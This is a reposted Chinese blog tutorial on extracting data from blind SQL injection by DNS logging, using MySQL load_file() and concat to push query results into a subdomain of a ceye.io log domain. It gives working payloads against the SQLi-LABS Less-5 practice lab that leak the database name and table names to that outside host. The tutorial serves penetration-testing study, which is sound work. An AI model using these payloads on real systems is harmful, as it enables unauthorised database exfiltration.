[转]SQL注入奇巧淫技——利用DNSLOG获取看不到的信息

作者:一纸笔墨

对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban,所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

首先,你得有一个域名(like: abc.com),搭建好vps环境,之后访问XXXXX.abc.com,dns服务会将此解析放入log记录中,之后我们可以通过查看log记录来获取之前select查询到的信息。

如果没有自己的vps,没有相关条件怎么办?
网上也有不少这样的dnslog平台
这里推荐一个免费的:http://ceye.io

这个我点击进去之后,没有账户肯定是需要注册一个的,但是我发现我的用户名被注册了?我这么奇葩的昵称也会有人注册?没办法,那就换个用户名,什么?邮箱也被注册了?不要逗我好不好……之后当我点击忘记密码登陆进去的时候才知道,这个是知道创宇的404 Team,之前因为一些事需要zoomeye获取些资料,所以是早就注册了了的。

图片[1]-[转]SQL注入奇巧淫技——利用DNSLOG获取看不到的信息-安全小百科

用法也很简单,只要有账户,便会给你提供一个二级域名XXX.ceye.io,我们只要将信息放在三级域名那就可以收到信息了,例如上面几个例子,访问aaa.XXX.ceye.io,这个信息就被记录下来了。(个人感觉挺好的,除了访问速度稍微慢了些…)

附:http://ceye.io/payloads 各种情况下ceye.io的使用方法


在这里介绍一下mysql中load_file()函数

LOAD_FILE(file_name)
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
在MySQL5.0.19,character_set_filesystem系统变量控制文件名的解释,即仅作文字字符串。

【转】MYSQL注入中load_file()函数的进一步应用
原文发表于《黑客防线》2008年第11期

图片[2]-[转]SQL注入奇巧淫技——利用DNSLOG获取看不到的信息-安全小百科
理论上,如果权限足够,可以读取服务器上任意文件

实际上load_file()函数还可以用来发送dns解析请求

图片[3]-[转]SQL注入奇巧淫技——利用DNSLOG获取看不到的信息-安全小百科

接下来就尝试获取数据

利用payload是:load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))

concat是字符串拼接
database()就是你要做SQL注入查询的地方
‘.xxxx.ceye.io\abc’就是你的dnslog平台给你的域名
后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥

上面拼接的结果就是’\\\\ schema_name.XXXX.ceye.io\\abc’,其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了

例如SQLi-LABS 第五关:
payload?id=1' and if((select load_file(concat('\\\\',(select database()),'.XXXXX.ceye.io\\abc'))),1,1)--+

图片[4]-[转]SQL注入奇巧淫技——利用DNSLOG获取看不到的信息-安全小百科

然后查看ceye,成功获取到了数据库名称
对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.XXXX.ceye.io\\abc'))),1,1)--+

原文链接:http://www.jianshu.com/p/95c814c515a2
© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论